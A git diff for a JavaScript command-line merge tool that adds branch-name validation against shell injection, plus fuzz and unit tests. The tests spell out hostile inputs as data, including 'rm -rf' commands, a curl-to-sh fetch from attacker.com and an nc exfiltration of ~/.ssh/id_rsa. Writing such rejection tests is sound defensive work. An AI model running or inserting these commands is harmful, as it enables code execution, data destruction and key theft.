diff --git a/fuzz/target.js b/fuzz/target.js index 68ce880..0aca8ce 100644 --- a/fuzz/target.js +++ b/fuzz/target.js @@ -3,6 +3,7 @@ const {main} = require('../mr') const rp_valid = [ "usage:", + "Invalid branch name", ] const fuzz = async function (buf) { diff --git a/lib/ParsedArgs.js b/lib/ParsedArgs.js index 1ffd399..9227fff 100644 --- a/lib/ParsedArgs.js +++ b/lib/ParsedArgs.js @@ -3,6 +3,33 @@ module.exports = class { this.argv = argv } + validateBranchName(name) { + if (!name || typeof name !== 'string') { + throw new Error('Branch name must be a non-empty string') + } + + for (let i = 0; i < name.length; i++) { + const char = name[i] + const isValid = (char >= 'a' && char <= 'z') || + (char >= 'A' && char <= 'Z') || + (char >= '0' && char <= '9') || + char === '.' || char === '_' || char === '-' || char === '/' + if (!isValid) { + throw new Error(`Invalid branch name '${name}': contains forbidden characters`) + } + } + + if (name[0] === '/' || name[name.length - 1] === '/' || name[0] === '.') { + throw new Error(`Invalid branch name '${name}': violates git ref format rules`) + } + + if (name.includes('//') || name.includes('..') || name.endsWith('.lock')) { + throw new Error(`Invalid branch name '${name}': violates git ref format rules`) + } + + return name + } + value() { if (this.argv.includes('-h') || this.argv.includes('--help')) { return {action: 'Help'} @@ -24,6 +51,7 @@ module.exports = class { } if (['to'].includes(branch) && verb && !src_or_dst) { + this.validateBranchName(verb) return {src: '__CURRENT_BRANCH__', dst: verb, action: 'Merge'} } @@ -42,6 +70,9 @@ module.exports = class { break; } + if (dst) this.validateBranchName(dst) + if (src && src !== '__CURRENT_BRANCH__') this.validateBranchName(src) + return {src, action, dst} } } diff --git a/tests/ParsedArgs.js b/tests/ParsedArgs.js index eb834b6..1ff27bc 100644 --- a/tests/ParsedArgs.js +++ b/tests/ParsedArgs.js @@ -32,4 +32,82 @@ describe('ParsedArgs', () => { it ('help with --help flag', async (t) => { assert.deepStrictEqual(await new ParsedArgs (['--help']).value (), {action: 'Help'}) }) + it ('reject semicolon command separator', async (t) => { + assert.throws(() => new ParsedArgs (['test; rm -rf /', 'from', 'main']).value ()) + }) + it ('reject pipe operator', async (t) => { + assert.throws(() => new ParsedArgs (['test|cat /etc/passwd', 'from', 'main']).value ()) + }) + it ('reject boolean AND operator', async (t) => { + assert.throws(() => new ParsedArgs (['test&&malicious', 'from', 'main']).value ()) + }) + it ('reject backtick command substitution', async (t) => { + assert.throws(() => new ParsedArgs (['test`whoami`', 'from', 'main']).value ()) + }) + it ('reject dollar command substitution', async (t) => { + assert.throws(() => new ParsedArgs (['test$(id)', 'from', 'main']).value ()) + }) + it ('reject output redirection', async (t) => { + assert.throws(() => new ParsedArgs (['test>output.txt', 'from', 'main']).value ()) + }) + it ('reject single quotes', async (t) => { + assert.throws(() => new ParsedArgs (["test'malicious'", 'from', 'main']).value ()) + }) + it ('reject double quotes', async (t) => { + assert.throws(() => new ParsedArgs (['test"malicious"', 'from', 'main']).value ()) + }) + it ('reject hash comment', async (t) => { + assert.throws(() => new ParsedArgs (['test#comment', 'from', 'main']).value ()) + }) + it ('reject ampersand background', async (t) => { + assert.throws(() => new ParsedArgs (['test&', 'from', 'main']).value ()) + }) + it ('reject spaces in branch name', async (t) => { + assert.throws(() => new ParsedArgs (['test malicious', 'from', 'main']).value ()) + }) + it ('reject file creation attack', async (t) => { + assert.throws(() => new ParsedArgs (['test; touch /tmp/PWNED', 'from', 'main']).value ()) + }) + it ('reject RCE attack', async (t) => { + assert.throws(() => new ParsedArgs (['branch`curl attacker.com/evil.sh|sh`', 'from', 'main']).value ()) + }) + it ('reject SSH key exfiltration attack', async (t) => { + assert.throws(() => new ParsedArgs (['task-42; cat ~/.ssh/id_rsa | nc attacker.com 1234 #', 'from', 'main']).value ()) + }) + it ('reject data destruction attack', async (t) => { + assert.throws(() => new ParsedArgs (['feature; rm -rf ~ #', 'from', 'main']).value ()) + }) + it ('reject branch starting with slash', async (t) => { + assert.throws(() => new ParsedArgs (['/invalid', 'from', 'main']).value ()) + }) + it ('reject branch ending with slash', async (t) => { + assert.throws(() => new ParsedArgs (['invalid/', 'from', 'main']).value ()) + }) + it ('reject branch with double slash', async (t) => { + assert.throws(() => new ParsedArgs (['feature//bug', 'from', 'main']).value ()) + }) + it ('reject branch with double dot', async (t) => { + assert.throws(() => new ParsedArgs (['feature..bug', 'from', 'main']).value ()) + }) + it ('reject branch starting with dot', async (t) => { + assert.throws(() => new ParsedArgs (['.hidden', 'from', 'main']).value ()) + }) + it ('reject branch ending with .lock', async (t) => { + assert.throws(() => new ParsedArgs (['feature.lock', 'from', 'main']).value ()) + }) + it ('accept branch with dash', async (t) => { + assert.doesNotThrow(() => new ParsedArgs (['feature-123', 'from', 'main']).value ()) + }) + it ('accept branch with underscore', async (t) => { + assert.doesNotThrow(() => new ParsedArgs (['task_42', 'from', 'main']).value ()) + }) + it ('accept branch with dots', async (t) => { + assert.doesNotThrow(() => new ParsedArgs (['release.1.0', 'from', 'main']).value ()) + }) + it ('accept branch with slash', async (t) => { + assert.doesNotThrow(() => new ParsedArgs (['feature/user-auth', 'from', 'main']).value ()) + }) + it ('accept branch with multiple slashes', async (t) => { + assert.doesNotThrow(() => new ParsedArgs (['team/project/task', 'from', 'main']).value ()) + }) })